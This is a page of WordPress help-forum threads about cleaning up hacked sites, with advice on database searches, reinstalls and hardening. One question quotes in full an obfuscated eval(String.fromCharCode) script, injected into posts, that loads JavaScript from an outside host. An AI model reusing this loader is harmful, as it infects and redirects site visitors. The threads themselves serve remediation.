Meta Description Shows Spam - wordpress
I have website (thebyandby.com) that got hacked several weeks ago. The problem is, the description on Google is showing a spam description for viagra and one the most popular posts (when linked to from Google) goes to a spam website.
The site is a WordPress website so I reinstalled the theme and made sure everything was updated. There are only two plugins installed, Akismet and Google Analytics. I don't think the plugins could be effected but I am not sure. The problem was still there so I checked when Google last indexed my site and it was after I had reinstalled my theme. I checked for malware from Google Webmaster and it said it didn't find any malware. I ran grep -r "viagra" on my entire web directory and nothing was found. I really don't know what else to do. Could this be a database problem?
Yes, it could well be that you have content in the database which is compromised. After all, that's where all the pages and posts are stored. Does your hosting company provide a tool like phpMyAdmin for browsing and editing the database?
But equally, if you have only reinstalled the theme then there are a lot more core WordPress files that could have been compromised by the hacker. Given that you are having problems, it would be well worth doing a complete reinstall of the WordPress files. Just make sure you keep a copy of your wp-config file, as you will need to copy that back. Also make sure you reinstall the same version of WordPress that you currently have.
But you know what: It may save you time in the long-run to just export all your posts and pages from within WordPress and then wipe the hacked site completely and install the whole thing from scratch. You can open the export file in any decent editor and once you've got your head around the XML structure, you can delete any rubbish that the hacker put there. I guess this option depends on how much content you had already put up on the site and how readily you could reconfigure the new site to match the old one.
Of-course if you have a full files and database backup from before the hacker got there, then you have an easy option that avoids all this grief ;-)
Related
How Can I Fix a Hacked Wordpress Website?
I have seen lots of critical errors on my WordPress website. I attached a screenshot below that shows some of these issues. Please look at this and provide some suggestions so that I can fix this problem. Thank you so much.
Depends how badly broken your site has become. What is it doing to make you think it's been hacked? Is it just the warnings in the Wordfence scan report? Before going much further you should for sure grab a backup of your database, wp-config.php, and the contents of the directories wp-content/themes, wp-content/uploads, and wp-content/plugins. Might be a good idea to make a separate backup of the entire WordPress installation directory. Since you can still access the administration panel, might as well change your password just to be safe. Are there multiple users for your WP installation? What changes have been made if you click "Details" button in the Wordfence scan? If you're sure changes to the wp-core files are due to a hack, you can try to repair them using Wordfence's repair feature--it'll restore them to their base WordPress version. But if significant differences are showing for dozens of core files, might be a good idea start over with a clean installation of WordPress. You'll also want to track down what allowed these malicious changes to be made (has an unknown IP logged into your administration panel recently? Are you using a plugin with a known security issue?), or it'll just happen again.
How does a virus infect my WordPress site?
For the second time, I’m removing the Malware injection from posts on my WordPress site: <script type=text/javascript>eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));</script> This code was inside every post. Using the plugin Better Search Replace, I deleted all found inserts from all posts. No inserts were found in other database tables. I checked the site for viruses using various plugins - such as Wordfence, etc. No infection results. Only I work with sites. My computer is well protected. Checked with different anti-virus scanners - everything is clean! I tried to find modified WordPress files as well as plugins. Purely! No suspicious files found! How to find the cause of infection?
There are 2 reasons why you are not able to remove jar.trafficbetter.biz malware from your WordPress site. you are using old, outdated nulled theme/child theme on your Wordpress site. the code was SQL injected to your database, and code is being populated on you site again and again. these are a clever piece of code and cannot be detected by any antivirus, if you want to know what the code is doing use the following link. https://blog.sucuri.net/2017/04/wordpress-security-unwanted-redirects-via-infected-javascript-files.html So to solve the problem, change or update your theme to the latest version. backup your database, and then search for the script in the database and remove the entry.
Wordpress Dashboard broken, displays “flashbacks” of comments/plugins/updates
I’m using the latest version of Wordpress (4.7.4). I have something very weird going on in my Dashboard. Not sure when this started. Can’t say for sure it started with the latest version of Wordpress or not. My Dashboard became completely useless. It’s like it’s showing me a flashback of a Dashboard from a few days or hours ago: Comments I’ve deleted in the Dashboard (hitting “trash”) are suddenly back there, awaiting my moderation. Plugins I’ve deactivated or even deleted are all back there and according to Dashboard still running (while in my FTP folder they’re certainly gone). The plugin page cannot be trusted anymore as it shows some plugins are activated that aren’t and vice versa. I have to check on my actual website to confirm which ones are running. Updates aren’t shown correctly. Once I’ve updated a plugin, a few minutes later it shows me again that there’s a new update. As you can tell it’s all pretty much the same phenomenon. It’s as if I’m seeing an older version of my Dashboard. Not sure what else is broken. The only other thing I noticed is that even on my actual blog I still see a comment. Blog post says “1 comment”, but the actual comment doesn’t show up. At first, this all sounds like a “cache problem”. But I’ve already turned off all caching: No caching plugin installed Turned off server caching via htaccess Disabled leverage browser caching Emptied my own browser cache Other things I tested: Turn off all plugins. Switch to the standard Wordpress theme “Twenty Twelve” I tried WP_DEBUG, but nothing related shows up. I researched the internet, but nobody has described a similar problem, so I suppose this is not a common Wordpress issue. The issue remains. Unfortunately I’m not a developer and don’t know too much about the Wordpress codex etc. But to me it sounds that the mistake is definitely not in the plugin or theme folder. The problem is that I’ve reached the point where I really cannot turn off plugins via Dashboard properly anymore. It’s so annyoing! My questions are: Is it safe to assume that this is related to the Wordpress core files? What files exactly are in “charge of” the Dashboard? Should I just try to re-download the newest Wordpress version and replace a few files (if so which ones)? Should I do a clean Wordpress re-install or would that be too drastic? Any other suggestions? EDIT: Additionally I tried now: I manually downloaded the newest version of Wordpress and did just as described on the Wordpress.org website. I manually replaced wp-admin, wp-include folders and all root files. The issue remains... The way my Dashboard is right now, I really can’t use it. Please advice!
I contacted my host service again. They just gave me the same line to insert into my .htaccess file and I told them I already tried it and it didn't work. I then showed them my .htaccess file and they deleted the whole part that concerned their server caching. Now server caching is completely off and everything works again. Still not sure why this previously never caused issues. In the end, it had nothing to do with Wordpress. I hope this answer will help people who run into similar problems.
wordpress mobile theme infected
I was informed by google that my wordpress website has been hacked. i installed wordfence and i scanned al my files, I deleted all the infected plugins and restored all my original files. I scanned again, all is clean, i sent the reports (many scanners) to google, they verified and remove the "this site may be hacked" message. I tried now to open my website to check the responsive mobile design on my samsung note 5, before the theme appearing about 300 little hyperlink such arx arm bmp amzd , every hyper link takes me to a scam website. My website is injected for sure how can i clean it from those hyperlinks ?
First of all make sure that your database is clean from all those infected links, it surely happened due to some vulnerable plugin or a theme, before you perform any action, backup your entire site, ground it, scan it using some reasonable wordpress virus detectors. Once you're done with it, start scanning your database for any unusual pages and links that you might have seen on your website. After performing this cleanup process. Install a fresh copy of wordpress by downloading it from the official website and install latest version of each and every plugin, also make sure to google about those plugins whether they are safer to use or not. import your wp_posts table at last and try to avoid importing unnecessary or easy to post / add stuffs.
Backup the database via PHPMyAdmin and completely uninstall WP. Then reinstall it again and restore the database. Also, update any passwords on your webserver and even do a fresh install of the webserver. Finally, avoid installing plugin's that aren't from the official repo as these can cause infections to your site.
Posts disappearing and reappearing on wordpress
I have a wordpress site which is acting strange lately. It seems like the database is spontaneously rolling back a few hours from time to time. I have noticed it happen at least four times. When I updated to wordpress 3.5, after a short time, maybe 30-60 minutes I noticed the nag to upgrade was back. I ran the upgrade a second time, even though I was certain that I had already upgraded. I added a new category and changed a widget on one of my sidebars, only to find that my changes were gone the next day and I had to redo them. I added a post yesterday, linked to it in various places and then returned several hours later to find the post missing. I rewrote the post from memory and put it back on the site. This morning when I went to the site, the original post was back and the one that I had recreated from memory was gone. The post's id number was the same as the previous day. I think there was also a draft post that disappeared and reappeared as well. One last clue which may or may not be related is that when I go to a page on the blog that should generate a 404 message I get a single piece of text which says: "defaced by t3ll0" I noticed this recently, within the last few weeks. I'm not sure how long it has been like that. I ran Sucuri Scanner, and it found no evidence of malware. Any suggestions of how to troubleshoot this? Could this be a problem with my database rather than wordpress? UPDATE: It appears that the primary problem I was noticing was because of two versions of the site being up simultaneously. The DNS settings had not been updated to the new site. I'm still investigating if the site was hacked.
You got hacked. "defaced by t3ll0" is the clue. Someone has control of your site and your hosting account. Work your way through these resources and follow all instructions to completely clean your site or you may be hacked again. See FAQ: My site was hacked « WordPress Codex and How to completely clean your hacked wordpress installation and How to find a backdoor in a hacked WordPress and Hardening WordPress « WordPress Codex. Change all passwords. Scan your own PC for spyware that may have grabbed your login and password. http://sitecheck.sucuri.net/ is a good resource, but it scans for malware and not accounts that were hacked and are not being used to distribute malware or have spam links. Tell your web host you got hacked; and consider changing to a more secure host: Recommended WordPress Web Hosting
You have not applied security may be at number of places. 1. File permissions, folder permissions. 2. Upload folder permissions. 3. Execute permissions. Now, if you are not a developer how would you check for these vulnerabilities? I am suggesting you to take a backup of your DB(Export it). Get rid of the existing WP core and reinstall it from fresh. Delete all plugins and install them all from fresh sources. If you have used a custom theme then get the backed up version of it and delete the current one as there is a deface to it. And you can check for a lot of vulnerabilities with plugins like this: http://wordpress.org/extend/plugins/better-wp-security/ Rename your administrator account. Harden your password. Remove write permission from .htaccess and wp-config.php file.